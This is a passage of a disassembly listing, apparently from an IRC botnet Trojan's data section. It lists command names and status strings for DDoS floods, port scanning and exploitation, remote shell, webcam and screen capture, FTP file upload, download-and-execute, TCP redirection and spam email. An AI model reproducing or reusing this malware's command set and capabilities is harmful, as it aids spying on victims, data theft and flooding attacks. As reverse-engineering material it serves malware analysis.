; DATA XREF: sub_40EC43+4952o
dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0
dword_435664 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EC43:loc_4134F0o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h
dd 0
unk_435690 db 2 ; DATA XREF: sub_40EC43+48A6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 69h, 72h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_4356BC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4869o
dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h
dword_4356E4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4861o
dd 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 10h
dword_435720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+481Bo
dd 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 10h
dword_435750 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4807o
dd 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 8
dword_435788 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4133D3o
dd 2029671Fh, 2BBBB02h
aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0
align 8
dword_4357D8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4133C9o
dd 2029671Fh, 2BBBB02h
aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0
align 4
dword_435828 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43+4773o
dd 2029671Fh, 2BBBB02h
aAmateurVideoSa db ' Amateur video saved to: %s.',0
align 8
dword_435868 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_413314o
dd 2029671Fh, 2BBBB02h
aInvalidParam_1 db ' Invalid parameters for webcam capture.',0
align 10h
dword_4358B0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_41330Do
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0 db ' Error while capturing from webcam.',0
align 4
dword_4358F4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43+46BAo
dd 2029671Fh, 2BBBB02h
aWebcamCaptureS db ' Webcam capture saved to: %s.',0
align 10h
aFrame db 'frame',0 ; DATA XREF: sub_40EC43:loc_413281o
align 4
dword_435938 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43+4631o
dd 2029671Fh, 2BBBB02h
aDriverListComp db ' Driver list complete.',0
dword_43596C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43+45FBo
dd 2029671Fh, 2BBBB02h
aDriverDSS_ db ' Driver #%d - %s - %s.',0
aDrivers db 'drivers',0 ; DATA XREF: sub_40EC43:loc_4131EAo
dword_4359A8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4131D7o
dd 2029671Fh, 2BBBB02h
aNoFilenameSpec db ' No filename specified for screen capture.',0
dword_4359F0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4131D0o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1 db ' Error while capturing screen.',0
dword_435A2C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EC43+457Do
dd 2029671Fh, 2BBBB02h
aScreenCaptureS db ' Screen capture saved to: %s.',0
align 4
aScreen db 'screen',0 ; DATA XREF: sub_40EC43:loc_413187o
align 10h
dword_435A70 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4526o
dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h
dword_435A98 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_41312Eo
dd 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_435AD8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+44D5o
dd 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_435B0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4453o
dd 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_435B38 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4415o
dd 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_435B64 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+43BFo
dd 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 10h
dword_435B90 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4354o
dd 2BBBB02h, 79432020h, 2E656C63h, 0
dword_435BB4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EC43+431Ao
; sub_40EC43+4E2Eo
dword_435BC0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+42F3o
dd 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+42E5o
align 4
dword_435BF8 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EC43+42BCo
dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h
dd 73h
dword_435C24 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EC43+4251o
dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h
dd 7325h
dword_435C50 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EC43+41FCo
dword_435C58 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EC43+41CAo
dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h
dd 7325h
dword_435C84 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EC43+4174o
; sub_40EC43+4C8Do
dword_435C8C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EC43+4155o
dword_435C98 dd 54524150h, 732520h ; DATA XREF: sub_40EC43+40EEo
dword_435CA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_412D1Eo
dd 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_435CE4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+40A4o
dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40EC43+4053o
align 4
dword_435D14 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_412C4Eo
dd 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_435D38 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EC43+3FCBo
; sub_40EC43+407Eo ...
unk_435D48 db 2 ; DATA XREF: sub_40EC43:loc_412BBDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
align 10h
unk_435DA0 db 2 ; DATA XREF: sub_40EC43+3F5Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_435DEC db 2 ; DATA XREF: sub_40EC43+3F02o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EC43+3E5Co
align 4
dword_435E34 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EC43+3DFDo
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h
unk_435E5C db 2 ; DATA XREF: sub_40EC43+3DF2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 65h, 78h, 65h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 10h
unk_435E90 db 2 ; DATA XREF: sub_40EC43+3D40o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_435EDC db 2 ; DATA XREF: sub_40EC43+3CDCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s in: %s.',0
align 4
dword_435F1C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EC43:loc_412881o
; sub_40EC43:loc_41372Ao
dd 0BBBB0220h, 2002h
unk_435F38 db 2 ; DATA XREF: sub_40EC43+3C29o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_435F70 db 2 ; DATA XREF: sub_40EC43:loc_41284Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_435FB8 db 2 ; DATA XREF: sub_40EC43+3BE8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_436000 db 2 ; DATA XREF: sub_40EC43+3B84o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 10h
unk_436040 db 2 ; DATA XREF: sub_40EC43+3AF8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_13 db ' Failed to start clone thread, error: <%d>.',0
unk_436088 db 2 ; DATA XREF: sub_40EC43+3A9Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_4360C8 db 2 ; DATA XREF: sub_40EC43+39F5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_436110 db 2 ; DATA XREF: sub_40EC43+3993o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 10h
dword_436150 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+38ECo
dd 2BBBB02h
aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436198 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+3884o
dd 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
align 8
unk_4361D8 db 2 ; DATA XREF: sub_40EC43+37FFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_436228 db 2 ; DATA XREF: sub_40EC43+37A6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 8
unk_436268 db 2 ; DATA XREF: sub_40EC43+36C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 10h
unk_4362C0 db 2 ; DATA XREF: sub_40EC43+3669o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 10h
unk_436310 db 2 ; DATA XREF: sub_40EC43+35C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_17 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_436360 db 2 ; DATA XREF: sub_40EC43+3570o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EC43+34ECo
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EC43+33F2o
align 4
dword_4363CC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EC43+3364o
; sub_40EC43+43A0o
unk_4363D8 db 2 ; DATA XREF: sub_40EC43+32F0o
; sub_40EC43+5119o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_436420 db 2 ; DATA XREF: sub_40EC43+3297o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_40EC43+326Co
; sub_40EC43+508Fo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40EC43+3265o
; sub_40EC43+5088o
align 8
unk_4364A8 db 2 ; DATA XREF: sub_40EC43+3127o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_19 db ' Failed to start scan, no IP specified.',0
align 10h
unk_4364F0 db 2 ; DATA XREF: sub_40EC43+2FE1o
; sub_40EC43+4ED3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 10h
dword_436540 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2F9Bo
dd 2BBBB02h
aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436588 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2F42o
dd 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EC43+2E8Bo
align 4
unk_4365F8 db 2 ; DATA XREF: sub_40EC43+2E61o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_436640 db 2 ; DATA XREF: sub_40EC43+2E08o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_436698 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_41197Bo
dd 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_4366E0 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2D1Co
dd 2BBBB02h
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436728 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2CB8o
dd 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40EC43+2CA8o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EC43+2CA1o
dword_43677C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2C0Co
dd 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_4367B4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_411766o
dd 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_4367F0 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2B1Co
dd 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EC43+2B05o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EC43+2AEEo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EC43+2ACEo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EC43+2A99o
align 4
dword_436868 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2A13o
dd 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EC43+29F0o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EC43+29CDo
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EC43+29B6o
align 10h
dword_4368C0 dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
; DATA XREF: sub_40EC43+2967o
dd 69616D65h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15MessageSentT db '15 Message sent to %s.',0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EC43+28F3o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a__0: ; DATA XREF: sub_40EC43+2857o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40EC43+2808o
align 4
aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EC43+27F1o
align 4
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EC43+27DAo
align 4
aP: ; DATA XREF: sub_40EC43+27C3o
unicode 0, <p>,0
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EC43+27ACo
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EC43+2795o
align 4
aU_0: ; DATA XREF: sub_40EC43+277Eo
unicode 0, <u>,0
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EC43+2767o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EC43+2750o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_40EC43+2739o
aAdvscan db 'advscan',0 ; DATA XREF: sub_40EC43+2722o
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EC43+26F9o
align 10h
aClone_action db 'clone.action',0 ; DATA XREF: sub_40EC43+26E2o
align 10h
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EC43+26CBo
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EC43+26B4o
align 4
aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EC43+269Do
aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EC43+2686o
align 4
aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EC43+266Fo
align 10h
aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EC43+2658o
aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EC43+2641o
aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EC43+262Ao
align 4
aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EC43+2613o
align 4
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EC43+25FCo
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40EC43+25A0o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40EC43+2589o
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EC43+2560o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EC43+2549o
align 4
aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EC43+2532o
align 4
aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EC43+251Bo
align 4
aFf db 'ff',0 ; DATA XREF: sub_40EC43+2504o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_40EC43+24EDo
align 4
aCom_e db 'com.e',0 ; DATA XREF: sub_40EC43+24D6o
align 10h
aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EC43+24BFo
aDownload_up db 'download.up',0 ; DATA XREF: sub_40EC43+24A8o
aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EC43+2491o
aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EC43+247Ao
align 10h
aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EC43+2463o
align 4
aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EC43+244Co
align 4
aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EC43+2435o
align 10h
aClone_p db 'clone.p',0 ; DATA XREF: sub_40EC43+241Eo
aClone_part db 'clone.part',0 ; DATA XREF: sub_40EC43+2407o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40EC43+23F0o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40EC43+23D9o
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EC43+23C2o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EC43+23ABo
align 10h
aClone_m db 'clone.m',0 ; DATA XREF: sub_40EC43+2394o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EC43+237Do
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EC43+2366o
align 10h
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EC43+234Fo
align 4
aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EC43+2338o
align 4
aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EC43+2321o
align 10h
aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EC43+230Ao
align 4
aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EC43+22F3o
align 4
aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EC43+22DCo
align 4
